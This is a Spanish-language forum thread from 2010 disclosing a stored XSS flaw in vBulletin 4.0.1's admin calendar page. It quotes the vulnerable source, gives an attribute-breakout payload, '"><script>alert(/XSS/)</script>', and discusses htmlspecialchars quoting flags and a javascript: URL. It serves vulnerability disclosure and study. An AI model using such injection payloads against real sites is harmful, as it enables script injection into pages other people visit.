Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: Shell Root en 6 Marzo 2010, 08:11 am



Título: XSS vBulletin 4.0.1 [admincalendar.php]
Publicado por: Shell Root en 6 Marzo 2010, 08:11 am
XSS vBulletin 4.0.1
(http://pzychological.files.wordpress.com/2009/05/vbulletin.png?w=128&h=128)
By: Shell Root


Dentro del archivo admincalendar.php de la linea 170 a la 192, se realiza una inserción a la base de datos.
Código
  1. $db->query_write("
  2. INSERT INTO " . TABLE_PREFIX . "calendarcustomfield
  3. (
  4. calendarid,
  5. title,
  6. options,
  7. allowentry,
  8. required,
  9. length,
  10. description
  11. )
  12. VALUES
  13. (" .
  14. $vbulletin->GPC['calendarid'] .", '" .
  15. $db->escape_string($vbulletin->GPC['title']) . "', '" .
  16. $db->escape_string($vbulletin->GPC['options']) . "', " .
  17. $vbulletin->GPC['allowentry'] . ", " .
  18. $vbulletin->GPC['required'] . ", " .
  19. $vbulletin->GPC['length'] . ", '" .
  20. $db->escape_string($vbulletin->GPC['description']) . "'
  21. )
  22. ");
  23. }

Al mirar detenidamente, se vé la función escape_string y me pregunte y de hecho postee aquí, de que se trataba esa función, ya que no es una función propia del PHP. Me dí a la busqueda de dicha función y se encontraba dentro del archivo includes/class_core.php, desde la linea 717 hasta 727.
Código
  1. function escape_string($string)
  2. {
  3. if ($this->functions['escape_string'] == $this->functions['real_escape_string'])
  4. {
  5. return $this->functions['escape_string']($string, $this->connection_master);
  6. }
  7. else
  8. {
  9. return $this->functions['escape_string']($string);
  10. }
  11. }
Esta función lo que hace es evitar caracteres especiales dentro de una sentencia SQL (Como bien me lo dijo Nakp).

Ahora que pasa si no ingresamos caracteres especiales para afectar una sentencia SQL sino algo como esto <script>alert(/XSS/)</script>, os dejara pasar y se convertirá en un XSS Persistente!. Miremos...

Dentro del archivo admincalendar.php, tenemos la oportunidad de modificar un calendario y si miramos el codigo fuente, obtenemos esto: (Solo la parte que os interesa)
Código
  1. <input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value="" size="35" dir="ltr" tabindex="1" type="text">

Podemos realizar esto para bypassear el input:
Código
  1. "><script>alert(/XSS/)</script>

A lo que al llamarlo quedará así, provocando un XSS Persistente:
Código
  1. <input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value=""><script>alert(/XSS/)</script>" size="35" dir="ltr" tabindex="1" type="text">

NOTA: La Inserción del XSS dentro del archivo, es solo por un usuario Administrador


Título: Re: XSS vBulletin 4.0.1 [admincalendar.php]
Publicado por: ~ Yoya ~ en 6 Marzo 2010, 15:03 pm
Bien hecho Shell Root, me gusta las explicaciones con el source en la mano xD, saludos.


Título: Re: XSS vBulletin 4.0.1 [admincalendar.php]
Publicado por: Shell Root en 6 Marzo 2010, 15:28 pm
xD lo más raro de todo, esque tienen una funcion para evitar el XSS dentro del archivo class_core.php en la línea 2387 hasta 2394.
Código
  1. function xss_clean($var)
  2. {
  3. static
  4. $preg_find    = array('#^javascript#i', '#^vbscript#i'),
  5. $preg_replace = array('java script',   'vb script');
  6.  
  7. return preg_replace($preg_find, $preg_replace, htmlspecialchars(trim($var)));
  8. }

 :silbar:



Título: Re: XSS vBulletin 4.0.1 [admincalendar.php]
Publicado por: AlbertoBSD en 6 Marzo 2010, 15:36 pm
Shell Root, es interesante, aunque esto desanima mucho:

Citar
NOTA: La Inserción del XSS dentro del archivo, es solo por un usuario Administrador

Buen aporte!!

Saludos



Título: Re: XSS vBulletin 4.0.1 [admincalendar.php]
Publicado por: ~ Yoya ~ en 6 Marzo 2010, 15:53 pm
Recuerda que htmlspecialchars tiene el parametro por defecto ENT_COMPAT y convierte las comillas dobles a simples y solo hace eso, para poder filtrar XSS correctamente hay que usar el parametro ENT_QUOTES que filtra las comillas simples y dobles.


Título: Re: XSS vBulletin 4.0.1 [admincalendar.php]
Publicado por: WHK en 6 Marzo 2010, 16:01 pm
super!, lo agregué al post de recopilaciones
https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_6310-t244090.0.html


Título: Re: XSS vBulletin 4.0.1 [admincalendar.php]
Publicado por: Castg! en 7 Marzo 2010, 00:44 am
xD lo más raro de todo, esque tienen una funcion para evitar el XSS dentro del archivo class_core.php en la línea 2387 hasta 2394.
Código
  1. function xss_clean($var)
  2. {
  3. static
  4. $preg_find    = array('#^javascript#i', '#^vbscript#i'),
  5. $preg_replace = array('java script',   'vb script');
  6.  
  7. return preg_replace($preg_find, $preg_replace, htmlspecialchars(trim($var)));
  8. }

 :silbar:



pero fijate que esa funcion lo que hace no es un "antixss" sino que evita la ejecucion de codigo desde la barra de direcciones, proba comentando esto:
[url]javascript:alert(1)[/url]


quedara: javascript:alert(1) (http://javascript:alert(1))


esto se llama jasildbg (http://www.elhacker.net/jasildbg/)

javascript inLine DeBuGer (JaSiLDBG)